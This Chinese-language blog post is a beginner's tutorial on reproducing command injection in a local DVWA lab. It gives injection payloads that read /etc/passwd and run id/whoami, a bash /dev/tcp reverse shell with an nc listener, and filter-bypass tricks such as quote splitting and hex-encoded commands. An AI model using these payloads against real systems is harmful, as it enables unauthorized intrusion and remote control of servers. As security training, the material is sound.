速学命令执行漏洞复现

极客

速学命令执行漏洞复现,我的血泪实战笔记(新手必看!)

哎呦喂,各位师傅们,今天咱们来聊点硬核又刺激的东西——命令执行漏洞复现,说实话,我刚开始学这个的时候,那叫一个头大啊!网上的教程要么太理论,要么直接甩代码,看得我整个人都emo了,但经过我这几天的“肝帝模式”,总算摸出点门道来了,赶紧分享给大家,速学的那种,保证你看完能少走弯路!

速学命令执行漏洞复现

先别急着敲命令,你得知道这漏洞是啥玩意儿

哎呀,我当初就犯过这错误,一上来就找靶场开打,结果漏洞是复现了,但原理一问三不知,面试官直接把我问懵了。命令执行漏洞说白了就是,应用程序把用户输入的数据,没过滤就直接拼接到系统命令里去了,咱就说,黑客大佬们用个分号、管道符啥的,就能让服务器乖乖执行你的命令,这谁顶得住啊?

重点来了:这个漏洞常见于Web应用,比如那些调用了system()exec()shell_exec()这类函数的PHP代码,简直就是“裸奔”现场!

速学第一步:搭个靶场,别祸害真实目标

哈哈,这点我必须强调!复现漏洞一定要在合法环境里搞,不然你就等着唱《铁窗泪》吧!我用的是DVWA(Damn Vulnerable Web Application),这玩意儿简直是学习神器,难度还能调,从low到impossible,循序渐进,特别适合咱们这种速学选手。

步骤我直接甩给你

  1. 用Docker拉个DVWA镜像,一条命令搞定!docker run -d -p 8080:80 vulnerables/web-dvwa
  2. 打开浏览器访问http://localhost:8080,用admin/password登录(默认密码)
  3. 把安全级别调到low,好啦,你的“练功房”就绪了!

复现过程,那可真是又惊又喜!

咱就拿DVWA里的Command Injection模块开刀,看到那个输入IP地址的框框没?我当时天真地输入了0.0.1,服务器也乖乖地ping了,一切看似正常。

当我试着输入0.0.1 && whoami的时候,哇塞!服务器直接告诉我它是以什么身份在跑!那一刻我整个人都支棱起来了,那种感觉,就像是你拿到了游戏里的隐藏道具一样兴奋!

然后我继续尝试:

  • 0.0.1 | ls -la —— 目录列表直接暴露!
  • 0.0.1 || cat /etc/passwd —— 我的天,用户都抄家底了!
  • 0.0.1 ; id —— 这酸爽,根本停不下来!

这里给新手提个醒:不同系统支持的连接符不一样哈,Linux下、、、&&都行,Windows下&、比较好使,我当时就在一台Windows靶机上用Linux的思路,结果啥也没出来,尴尬得抠脚!

深入利用:反弹Shell,那才叫真正的“拿下”!

光看看文件有啥意思?咱得上点真功夫!当我知道命令能执行后,第一反应就是——反弹Shell!这可是从“命令执行”升级到“主机控制”的关键一步!

我的思路是:

  1. 先在自己VPS上监听:nc -lvnp 8899
  2. 然后在漏洞点注入:bash -i >& /dev/tcp/你的IP/8899 0>&1
  3. 回车一敲,嘿!Shell就到手了!这时候你再看服务器,那真是“我的地盘我做主”了!

但是(为啥总有但是),URL编码一定要做好!我第一遍直接往里扔原字符,结果全被转义了,一点反应没有,后来用Burp Suite抓包改数据,把空格换成%20,编码转成%2F,这才顺利拿到Shell,所以说,工具用得好,漏洞跑不了

速学避坑指南,都是我踩过的雷!

第一坑:别把ping命令的输出当命令执行!很多新手以为看到ICMP回包就是漏洞,其实那是正常的功能,真正的命令执行,你是能控制新命令的,千万别搞混了!

第二坑:过滤绕过要灵活,碰到WAF或者开发者做了基础过滤,可以试试:

  • 拼接绕过:ca""t /etc/passwd
  • 环境变量截取:$PATH | cut -c 1,2
  • 十六进制编码:cat变成\x63\x61\x74,这招对付某些垃圾过滤特别有效!

第三坑:别只盯着GET参数!POST提交、Cookie、Referer头、User-Agent,只要是用户可控并且进入系统命令的,都是可能被利用的点,我当时就死磕一个GET参数,搞了半天没进展,后来一看,人家用POST传参数,血亏!

速学不等于速成,但方向对了就快!

说真的,命令执行漏洞复现这个技能,不是你背几个payload就能装的,得理解原理、多动手测试、勤总结技巧,我速学的经验就是:

  • 先把原理吃透(半天)
  • 在DVWA上练熟练度(一天)
  • 尝试绕过各种防护(半天)
  • 最后再看真实环境代码审计(这才是进阶)

好了好了,今儿就唠到这儿,我得赶紧去补补我的笔记了,如果你也在学这个,欢迎来交流哈!记住啊,技术本身没有善恶,但使用技术的人要有底线!咱们复现漏洞是为了防御,可别手痒去搞破坏,那样我可是要报警的噢(开个玩笑啦)!

加油吧,未来的安全大佬们!你们的挖洞之路,就从今天这次命令执行漏洞复现开始吧!💪

文章版权声明:除非注明,否则均为极客网安-咸鱼原创文章,转载或复制请以超链接形式并注明出处。

目录[+]